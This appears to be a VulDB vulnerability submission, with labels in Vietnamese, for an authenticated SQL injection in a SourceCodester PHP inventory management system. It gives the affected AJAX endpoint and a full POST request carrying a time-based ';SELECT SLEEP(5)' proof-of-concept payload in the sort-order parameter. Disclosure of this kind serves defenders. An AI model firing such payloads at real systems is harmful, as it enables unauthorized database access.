| tiêu đề | https://www.sourcecodester.com/users/mayurik Web PHP 1 POST Authenticated SQL Injection |
|---|
| Mô tả | Attack Vector: WEB, Network
Testeted on: Windows 10 using XAMPP
Software Link: https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.htm
Affected url: /ample/app/ajax/catagory_data.php (POST request)
raw=1&columns%5B0%5D%5Bdata%5D=id&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=name&columns%5B1%5D%5Bname%5D=&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=description&columns%5B2%5D%5Bname%5D=&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=action&columns%5B3%5D%5Bname%5D=&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc;SELECT SLEEP(5)&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false
POST Authenticated SQL Injection POC payload: ;SELECT SLEEP(5)
Attackers exploit SQL injection vulnerabilities by injecting specially crafted SQL commands into input fields that are directly incorporated into SQL queries executed by the application's backend database. These injected commands can manipulate the logic of the original query, potentially leading to unauthorized access or data leakage.
|
|---|
| Nguồn | ⚠️ https://github.com/yethu123/XSS-and-SQL-Injection-on-Free-and-Open-Source-inventory-management-system/blob/main/Authenticated%20SQL%20Injection.md |
|---|
| Người dùng | y3thu (UID 52000) |
|---|
| Đệ trình | 27/02/2024 07:46 (cách đây 3 những năm) |
|---|
| Kiểm duyệt | 28/02/2024 16:20 (1 day later) |
|---|
| Trạng thái | Bản sao |
|---|
| Mục VulDB | 237570 [SourceCodester Free and Open Source Inventory Management System 1.0 /index.php?page=member columns[0][data] Tiêm SQL] |
|---|
| điểm | 0 |
|---|